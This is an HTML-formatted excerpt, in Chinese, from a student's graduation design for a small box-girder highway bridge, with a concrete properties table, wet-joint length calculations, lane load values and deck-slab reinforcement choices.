<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:3.0000pt thin-thick-large-gap #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">弹性模量（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';">）</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:3.0000pt thin-thick-large-gap #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="font-size:12.0000pt;font-family:'隶书';"><span style="position:absolute;z-index:1;left:0px;margin-left:-0.4667px;margin-top:0.6667px;width:1.0000px;height:1.0000px;"><img width="1" height="1" src="file:///E:\Users\ADMINI~2\AppData\Local\Temp\ksohtml\wps_clip_image-21872.png" alt="" /></span></span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'隶书';">35000</span><span style="font-size:12.0000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">容重（吨</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';">/</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';">米</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:super;">3</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';">）</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'隶书';">2.5</span><span style="font-size:12.0000pt;font-family:'隶书';">5</span><span style="font-size:12.0000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">热膨胀系数</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'隶书';">0.00001</span><span style="font-size:12.0000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">标准抗压强度（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">ck</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">32.4</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">设计抗压强度（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">cd</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">22.4</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">容许压应力（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）0.5×f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">ck</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">16.2</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">标准抗拉强度（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">tk</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">2.65</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">设计抗拉强度（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">td</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:0.7500pt solid #000000;mso-border-bottom-alt:0.7500pt solid #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">1.83</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr style="height:28.3500pt;"><td width="238" valign="center" style="width:179.2000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:3.0000pt double #000000;mso-border-left-alt:3.0000pt thin-thick-large-gap #000000;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:3.0000pt double #000000;mso-border-bottom-alt:3.0000pt thin-thick-large-gap #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">容许拉应力（</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">Mpa</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';">）0.7×f</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'楷体_GB2312';vertical-align:sub;">tk</span><span style="font-size:12.0000pt;font-family:'楷体_GB2312';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
<td width="217" valign="center" style="width:162.8000pt;padding:0.0000pt 0.0000pt 0.0000pt 0.0000pt;border-left:none;;mso-border-left-alt:none;;border-right:3.0000pt double #000000;mso-border-right-alt:3.0000pt thin-thick-large-gap #000000;border-top:none;;mso-border-top-alt:0.7500pt solid #000000;border-bottom:3.0000pt double #000000;mso-border-bottom-alt:3.0000pt thin-thick-large-gap #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:center;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'隶书';">1.85</span><span style="font-size:10.5000pt;font-family:'隶书';"><o:p></o:p></span></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
</tbody>
</table>
<p></p>
<p>&nbsp;</p>
<p></p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">横截面和纵断面尺寸拟定</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">具体选定过程略，以下为小箱梁中跨中梁简图</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">(mm)</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">：</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300867883_90824a47.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">(</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">中跨外边梁长度为</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2850mm)</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span class="15" style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">计算湿接缝长度</span><span class="15" style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">13-2<span style="font-family:宋体;">×</span><span style="font-family:'Times New Roman';">2.85=7.30m&nbsp;&nbsp;//</span><span style="font-family:宋体;">减去两边梁长度</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7.30/2.4=2......2.5m&nbsp;&nbsp;&nbsp;//<span style="font-family:宋体;">按要求湿接缝长度控制在</span><span style="font-family:'Times New Roman';">49cm~90cm,</span><span style="font-family:宋体;">取三片中梁则不达要求</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2.5/3=0.83m&nbsp;&nbsp;//<span style="font-family:宋体;">两片梁之间湿接缝长度</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">故可得由</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">4榀小箱梁联结构成</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">的横向断面图</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">，布置图如下图所示</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">：</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300867921_2531fb5c.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">公路</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">II级&nbsp;均布荷载标准值Qk=10.5×0.75=7.875KN/m</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:42.0000pt;text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">集中荷载标准值&nbsp;(360-180)×25/45=100KN</span><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:42.0000pt;text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';">建立效应&nbsp;&nbsp;100×1.2=120KN</span></p>
<p class="p0" style="margin-left:42.0000pt;text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt;text-align:left;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:12.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">悬臂板荷载效应计算</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">依照规范分别计算悬臂板永久作用、可变作用（由于我的悬臂板仅为<span style="font-family:'Times New Roman';">817mm</span><span style="font-family:宋体;">，实际应用中应当不能按照悬臂板计算，但这里是做毕业设计原理上过得去就</span><span style="font-family:'Times New Roman';">OK....</span><span style="font-family:宋体;">）</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300867961_455310fb.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">连续板荷载效应计算</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">依照规范分别计算悬臂板永久作用、可变作用</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">截面配筋设计</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">悬臂板及连续板计算采用相同的抗弯钢筋，故只需要计算最不利荷载效应配筋，取上两步计算中的最大值——支点断面弯矩：<span style="font-family:'Times New Roman';">Md=-33.30KNm</span><span style="font-family:宋体;">。高度为</span><span style="font-family:'Times New Roman';">25cm</span><span style="font-family:宋体;">，净保护层为</span><span style="font-family:'Times New Roman';">3cm</span><span style="font-family:宋体;">，选用φ</span><span style="font-family:'Times New Roman';">12</span><span style="font-family:宋体;">钢筋，有效高度</span><span style="font-family:'Times New Roman';">h=h-a-d/2=0.2123m</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">根据规范可以得&nbsp;上板选用φ<span style="font-family:'Times New Roman';">12</span><span style="font-family:宋体;">钢筋，间距为</span><span style="font-family:'Times New Roman';">19cm</span><span style="font-family:宋体;">，下缘配置φ</span><span style="font-family:'Times New Roman';">12</span><span style="font-family:宋体;">钢筋，间距为</span><span style="font-family:'Times New Roman';">130mm</span><span style="font-family:宋体;">。</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
